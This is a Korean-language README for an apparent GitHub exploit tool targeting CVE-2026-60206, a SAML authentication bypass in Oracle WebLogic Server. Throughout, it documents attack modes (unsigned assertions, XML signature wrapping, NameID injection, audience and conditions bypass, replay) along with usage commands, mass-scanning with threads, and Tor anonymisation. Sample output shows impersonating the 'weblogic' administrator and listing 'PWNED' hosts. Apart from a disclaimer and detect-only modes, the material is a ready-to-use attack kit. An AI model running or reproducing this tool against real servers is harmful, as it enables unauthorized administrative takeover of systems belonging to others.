
치명적인 Oracle WebLogic Server SAML 인증 우회 취약점인 CVE-2026-60206에 대한 기술적 분석 및 Proof-of-Concept입니다.
이 저장소는 Oracle WebLogic Server의 SAML 구현에서 발견된 심각한 인증 우회 취약점인 CVE-2026-60206에 대한 개념 증명(PoC) 익스플로잇을 제공합니다. 이 결함으로 인해 원격의 낮은 권한을 가진 공격자가 SAML 어서션(assertion)을 위조하여 서버를 완전히 장악할 수 있습니다.
⚠️ 면책 조항: 이 도구는 승인된 보안 연구 및 테스트 목적으로만 사용됩니다. 소유하거나 명시적 테스트 권한이 있는 시스템에만 사용하십시오. 작성자는 오용에 대한 책임을 지지 않습니다.
CVE-2026-60206은 Oracle WebLogic Server의 Core 구성 요소에 영향을 미칩니다. 이 취약점은 SAML 프로토콜 구현의 부적절한 인증 처리에서 비롯됩니다. XML Signature Wrapping(XSW), 서명되지 않은 어서션 허용, NameID 조작, audience/conditions 우회와 같은 여러 공격 벡터를 통해 공격자는 임의의 사용자(예: weblogic)를 가장하여 관리자 액세스 권한을 획득할 수 있습니다.
영향을 받는 버전:
이 PoC는 다음과 같은 공격 벡터를 구현합니다:
WantAssertionsSigned가 적용되지 않는 경우).AudienceRestriction을 제거하거나 수정하여 범위를 확장합니다.NotBefore/NotOnOrAfter를 조작하여 유효성 검사를 우회합니다.all, unsigned, xsw, nameid, audience, conditions, combo, replay 중에서 선택할 수 있습니다.-l 사용).-r).httpx를 자동으로 사용하며, 그렇지 않으면 requests(HTTP/1.1)로 대체됩니다.git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
필수: requests, urllib3
선택 사항(기능 향상):
httpx – HTTP/2 지원용lxml – 향상된 SAML 파싱용signxml, cryptography – 서명 처리용(공격에는 필요하지 않음)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | 설명 |
|---|---|
-t, --target TARGET | 단일 대상 URL (예: https://host:7002). |
-l, --list LIST | 대량 스캔용 대상 목록 파일 또는 단일 URL. |
-f, --file FILE | --list의 별칭. |
-l 사용):| Flag | 설명 |
|---|---|
--exploit | 서명되지 않은 SAML 어서션을 테스트합니다(기본값: 탐지만). |
-T, --threads THREADS | 동시 스레드 수(기본값: 10). |
| Flag | 설명 |
|---|---|
-v, --verbose | 상세 수준을 높입니다(디버그 출력). |
-q, --quiet | 필수적이지 않은 출력을 억제합니다. |
--list-modes |
detect버전 탐지 및 SAML 엔드포인트 프로빙을 수행합니다. 공격은 실행되지 않습니다.
unsigned완전히 서명되지 않은 SAML 어서션을 주입합니다. 대상이 WantAssertionsSigned를 적용하지 않는 경우, 이 방식은 인증을 완전히 우회합니다.
변형: unsigned (기본값), unsigned_stripped (모든 서명 참조 제거).
xsw (XML 서명 래핑)유효한 서명 어서션 앞에(또는 이를 감싸도록) 악성 서명되지 않은 어서션을 배치합니다. SAML 프로세서는 첫 번째 어서션을 선택하는 반면, 서명 검증기는 서명된 어서션을 검사할 수 있습니다.
변형: xsw1 (단순 앞에 추가), xsw2 (원본과 동일한 ID), xsw3 (중첩 래퍼), xsw4 (형제 요소).
nameidNameID 필드를 조작하여 WebLogic의 ID 매퍼(identity mapper)를 혼란시켜 다른 사용자로 가장할 수 있게 합니다.
변형: comment_injection, whitespace, format_confusion, xpath_injection.
audienceaudience 요소를 제거하거나 수정하여 AudienceRestriction 검사를 우회합니다.
변형: remove_audience, wildcard_audience, extra_audience.
conditions시간 기반 제한(예: NotBefore, NotOnOrAfter)을 우회합니다.
변형: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboXSW, 서명되지 않은 어서션 및 NameID 조작을 하나의 페이로드로 결합합니다 – 완전한 장악에 가장 유력한 벡터입니다.
변형: combo_full (주석 주입 포함), combo_stealth (줄바꿈 포함).
replay이전에 캡처한 SAML 응답을 재전송하며, 선택적으로 destination을 수정하거나 audience 제한을 제거할 수 있습니다.
변형: replay_modified (Destination/Recipient 조정), replay_cross_sp (audience 제한 제거).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
이 PoC를 안전하게 테스트하려면 SAML이 활성화된 WebLogic Server와 영향을 받는 버전 중 하나를 설정하십시오. 예를 들어 Docker를 사용할 수 있습니다:
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
SAML 구성에는 ACS 엔드포인트(예: /saml2/sp/acs)와 게시된 메타데이터가 있는 SAML 2.0 서비스 제공자(Service Provider)가 하나 이상 포함되어야 합니다.
이 프로젝트는 GNU v3.0 라이선스에 따라 라이선스가 부여됩니다 – 자세한 내용은 LICENSE 파일을 참조하십시오.
이슈와 풀 리퀘스트를 환영합니다. 기여는 동일한 윤리적 사용 지침을 준수해야 합니다.
기억하세요: 보안 도구를 테스트하기 전에 항상 적절한 승인을 받으십시오. 윤리를 지키세요!
--save-payloads).-c / --check) – 대상이 취약한지 빠르게 판별합니다(공격 없음).| Flag | 설명 |
|---|
-h, --help | 도움말 메시지를 표시하고 종료합니다. |
--proxy PROXY | 프록시 URL(--tor 사용 시 무시됨). |
--no-verify | SSL 인증서 검증을 비활성화합니다. |
--cookie COOKIE | 세션 쿠키 (예: name=value; name2=value2). |
--auth AUTH | 기본 인증 자격 증명 (USER:PASS). |
| Flag | 설명 |
|---|
-r, --requestfile REQUESTFILE | 파일에서 원시 HTTP 요청을 로드합니다(SAML 공격 대체). |
--method METHOD | 사용할 HTTP 메서드(원시 요청 또는 단일 요청용; 기본값: GET). |
--random-agent | 내장 목록에서 무작위 User-Agent를 사용합니다. |
-A, --user-agent USER_AGENT | 사용자 지정 User-Agent 헤더 값. |
--tor | Tor 익명 네트워크를 사용합니다(기본값 SOCKS5). |
--tor-port TOR_PORT | Tor 프록시 포트(기본값: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tor 프록시 유형(기본값: SOCKS5). |
--check-tor | Tor가 올바르게 사용되는지 확인합니다(결과와 함께 종료). |
--delay DELAY | 각 요청 사이의 지연 시간(초). |
--timeout TIMEOUT | 타임아웃(초) (기본값: 30). |
--retries RETRIES | 타임아웃/오류 시 재시도 횟수(기본값: 3). |
--retry-on RETRY_ON | 응답 내용이 정규식과 일치하면 요청을 재시도합니다(예: 'captcha'). |
-dr, --disable-redirects | HTTP 리다이렉트 추적을 비활성화합니다. |
| Flag | 설명 |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | 공격 모드(기본값: all). |
--detect | WebLogic 버전 및 SAML 구성만 탐지합니다(공격 없음). |
-c, --check | 빠른 취약점 확인(탐지만 수행, 결과와 함께 종료). |
-u, --user USER | 가장할 대상 사용자(기본값: weblogic). |
--groups GROUPS | SAML 어서션에 포함할 그룹(기본값: Administrators,Monitors). |
--issuer ISSUER | SAML 발급자(Issuer) 엔터티 ID. |
--audience AUDIENCE | SAML Audience 엔터티 ID. |
--relay-state RELAY_STATE | SAML POST용 RelayState 매개변수. |
--base64 | POST에서 SAML 응답을 Base64로 인코딩합니다. |
--extra-attrs [NAME=VALUE ...] | 추가 SAML 속성 (예: role=admin). |
--replay-file REPLAY_FILE | 재전송용 캡처된 SAML 응답 경로. |
--save-payloads | 생성된 SAML 페이로드를 ./payloads/에 저장합니다. |
--continue-on-success | 공격 성공 후에도 테스트를 계속합니다. |
| 모든 공격 모드를 설명과 함께 나열하고 종료합니다. |
-o, --output OUTPUT | JSON 또는 CSV 보고서를 파일에 기록합니다. |